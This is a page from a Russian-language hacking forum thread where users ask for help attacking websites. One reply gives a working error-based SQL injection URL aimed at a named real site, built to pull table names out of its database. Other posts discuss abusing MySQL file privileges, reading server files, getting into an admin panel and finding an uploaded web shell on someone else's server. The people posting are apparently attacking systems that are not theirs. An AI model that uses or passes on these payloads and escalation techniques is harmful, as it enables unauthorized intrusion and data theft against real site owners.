HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2030 из 2438 « Первая < 10301530193019802020 2026 2027 2028 2029 2030 2031 2032 2033 2034 204020802130 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #20291  
Старый 03.04.2012, 23:01
Facecontrol
Guest
Сообщений: n/a
Провел на форуме:
13805

Репутация: 0
По умолчанию
А можно ли каким нибуь образом,узнать chmod на дирректорию?
 
Ответить с цитированием

  #20292  
Старый 03.04.2012, 23:15
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию
Цитата:
Сообщение от Facecontrol  
Facecontrol said:
А можно ли каким нибуь образом,узнать chmod на дирректорию?
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]ls[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]la[/COLOR][/COLOR] 
покажет не только листнг директории, но сhmod файлов и самой директории, из которой выполняется команда.

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]ls[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]lF[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]grep[/COLOR][COLOR="#007700"]/ |[/COLOR][COLOR="#0000BB"]sed[/COLOR][COLOR="#DD0000"]'s/\///g'[/COLOR][/COLOR] 
Можно узнать текущие каталоги в этом каталоге и снова посмотреть на них chmod'ы.
 
Ответить с цитированием

  #20293  
Старый 04.04.2012, 00:18
Cennarios
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497

Репутация: 303
Отправить сообщение для Cennarios с помощью ICQ
По умолчанию
Цитата:
Сообщение от Facecontrol  
Facecontrol said:
А можно ли каким нибуь образом,узнать chmod на дирректорию?
Выражаться - 'узнать chmod на директорию' не верно. chmod - это команда(программа) операционной ,nix подобной системы, с помощью которой производятся операции по изменению прав доступа к файловой системе. Правильнее говорить - Можно ли узнать какие права назначены директории etc
 
Ответить с цитированием

  #20294  
Старый 04.04.2012, 11:46
Faaax
Guest
Сообщений: n/a
Провел на форуме:
124363

Репутация: 11
По умолчанию
нужна помосчь в раскрутке,что то не получилось у меня(

Код:
Code:
http://www.dekret.ru/planirovanie/9m_4'.html
 
Ответить с цитированием

  #20295  
Старый 04.04.2012, 11:48
Ereee
Guest
Сообщений: n/a
Провел на форуме:
102354

Репутация: 267
По умолчанию
Цитата:
Сообщение от Faaax  
Faaax said:
нужна помосчь в раскрутке,что то не получилось у меня(
Код:
Code:
http://www.dekret.ru/planirovanie/9m_4'.html
Код:
Code:
http://www.dekret.ru/planirovanie/9m_4'+and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+f.html
Problem?
 
Ответить с цитированием

  #20296  
Старый 04.04.2012, 12:06
Faaax
Guest
Сообщений: n/a
Провел на форуме:
124363

Репутация: 11
По умолчанию
думал что не получается,оказывается из-за невнимательности,забыл 2 скобки поставить)
 
Ответить с цитированием

  #20297  
Старый 04.04.2012, 12:17
qaz
Guest
Сообщений: n/a
Провел на форуме:
344922

Репутация: 75
По умолчанию
А может быть такое, что например доступа в mysql для чтения привелегий нету, а файл прив есть?
 
Ответить с цитированием

  #20298  
Старый 04.04.2012, 12:30
Ereee
Guest
Сообщений: n/a
Провел на форуме:
102354

Репутация: 267
По умолчанию
Цитата:
Сообщение от qaz  
qaz said:
А может быть такое, что например доступа в mysql для чтения привелегий нету, а файл прив есть?
Может быть. Если File_priv есть, считай сервер криво настроен, поэтому, как правило, есть доступ к базе mysql.
 
Ответить с цитированием

  #20299  
Старый 04.04.2012, 13:03
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию
Почему это криво? Например в скрипте вполне может находится функция, которая посылает запрос к базе для выгрузки в файл каких-то данных, для этого и включают file_priv.

И вообще не вижу взаимосвязь активной file_priv и доступа к базе mysql
 
Ответить с цитированием

  #20300  
Старый 04.04.2012, 17:01
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию
Добрый день. Точнее не очень добрый, поскольку у меня проблема, которую не удается победить, такого характера.

File_Priv = Y, но включены магические кавычки, поэтому into file залиться не смог. Раскрыл путь. На машине стоит XAMPP, и все пути там, cудя по всему, дефолтные после установки. Естественно, могу читать файлы.

Удалось получить доступ к админке. Вроде бы в одном из меню пропустилось расширение php, но проблема в том, что никак не получается узнать физическое расположение шелла. Единственное, что есть доступ к нему по такой ссылке, ессно, код не интерпретируется, а просто предлагается скачать файл. Можно что-то придумать? Или я что-то упускаю из вида?

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.site.com/download_file.php?id=541[/COLOR][/COLOR] 
 
Ответить с цитированием
Ответ
Страница 2030 из 2438 « Первая < 10301530193019802020 2026 2027 2028 2029 2030 2031 2032 2033 2034 204020802130 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ